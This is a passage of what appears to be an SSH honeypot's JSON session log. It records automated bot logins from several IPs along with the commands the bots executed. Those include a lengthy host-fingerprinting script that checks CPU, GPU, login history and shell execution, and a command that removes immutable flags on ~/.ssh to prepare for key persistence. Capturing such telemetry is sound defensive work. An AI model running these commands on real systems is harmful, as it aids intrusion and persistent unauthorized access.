  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:43:23.291593+00:00",
  "ended_at": "2026-08-27T05:43:25.142316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ace51802-61ec-41e4-8a58-a477d2acfa2e",
  "name": "buoyant-painted-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 51572,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:43:05.160128+00:00",
  "ended_at": "2026-08-27T05:43:05.264811+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f3ccc5e2-0539-4200-8222-3abf799f8e95",
  "name": "jolly-daring-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 58808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:41:55.054504+00:00",
  "ended_at": "2026-08-27T05:41:57.305487+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0a0e67be-981a-4a48-93b6-90bc7dd95772",
  "name": "eager-frosty-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52744,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:41:27.389409+00:00",
  "ended_at": "2026-08-27T05:41:28.730925+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eacd46a3-b500-4724-a610-03801df61285",
  "name": "lawful-brazen-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58812,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:41:25.411477+00:00",
  "ended_at": "2026-08-27T05:41:26.768627+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6358979d-8ba8-4453-a60f-e369272f3d6e",
  "name": "quartz-canny-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 48678,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:41:09.873224+00:00",
  "ended_at": "2026-08-27T05:41:09.995878+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "21ca25e2-992b-4d5c-8154-3f7c334a951a",
  "name": "woven-wiry-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 65193,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:40:59.317478+00:00",
  "ended_at": "2026-08-27T05:41:00.100214+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c57ce4a0-0d8a-4084-83bb-e2fda119fd8c",
  "name": "bronzed-steady-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 59244,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:40:03.726358+00:00",
  "ended_at": "2026-08-27T05:40:04.250573+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a41147b0-202e-43e5-9f3e-205428a8b2b4",
  "name": "lunar-sandy-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:39:55.667521+00:00",
  "ended_at": "2026-08-27T05:39:57.381533+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2300
 },
 {
  "id": "ea841f85-2858-423f-8309-e6ba38e9b1c0",
  "name": "bold-umber-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50058,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:39:29.156447+00:00",
  "ended_at": "2026-08-27T05:39:30.119417+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e51bc312-24b5-47f8-b6bf-880c1a0dab8a",
  "name": "crimson-hearty-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50042,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:39:26.708859+00:00",
  "ended_at": "2026-08-27T05:39:28.516276+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f579118-7b77-4059-89e8-5d20622b4e58",
  "name": "salty-wiry-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 45804,
  "username": "ansible",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:39:10.785110+00:00",
  "ended_at": "2026-08-27T05:39:10.966148+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8c6bd2bf-d09d-425a-8a54-da7c84c6eb5e",
  "name": "wry-diligent-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 60366,
  "username": "albert",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:37:49.360758+00:00",
  "ended_at": "2026-08-27T05:37:51.088097+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "7bb7b546-885a-4e4c-ad42-1dad4d1cd871",
  "name": "candid-eager-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 60392,
  "username": "albert",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:37:25.858171+00:00",
  "ended_at": "2026-08-27T05:37:27.328825+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4c5eb368-662d-478d-8c0d-a4478890079f",
  "name": "gleaming-peaty-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 60382,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:37:24.016332+00:00",
  "ended_at": "2026-08-27T05:37:25.249265+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "328aaf62-cc3f-4420-950d-dc9f2f42d40d",
  "name": "sincere-creaky-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 42894,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:37:10.157053+00:00",
  "ended_at": "2026-08-27T05:37:10.261772+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8748a154-f78f-4b6f-a99e-fd7766247cef",
  "name": "civil-chilly-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 57024,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:35:51.369794+00:00",
  "ended_at": "2026-08-27T05:35:53.046591+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "48cb289f-1a98-498f-9c46-23f001bbcfcb",
  "name": "fickle-prairie-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 57040,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:35:35.331355+00:00",
  "ended_at": "2026-08-27T05:35:36.227590+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a993c24-4778-4101-925d-9384c3de1d3c",
  "name": "austere-mossy-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 57038,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:35:33.222613+00:00",
  "ended_at": "2026-08-27T05:35:34.722181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ee60900-c5c9-4502-b027-1ea88c2b0fad",
  "name": "valiant-arctic-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 39998,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 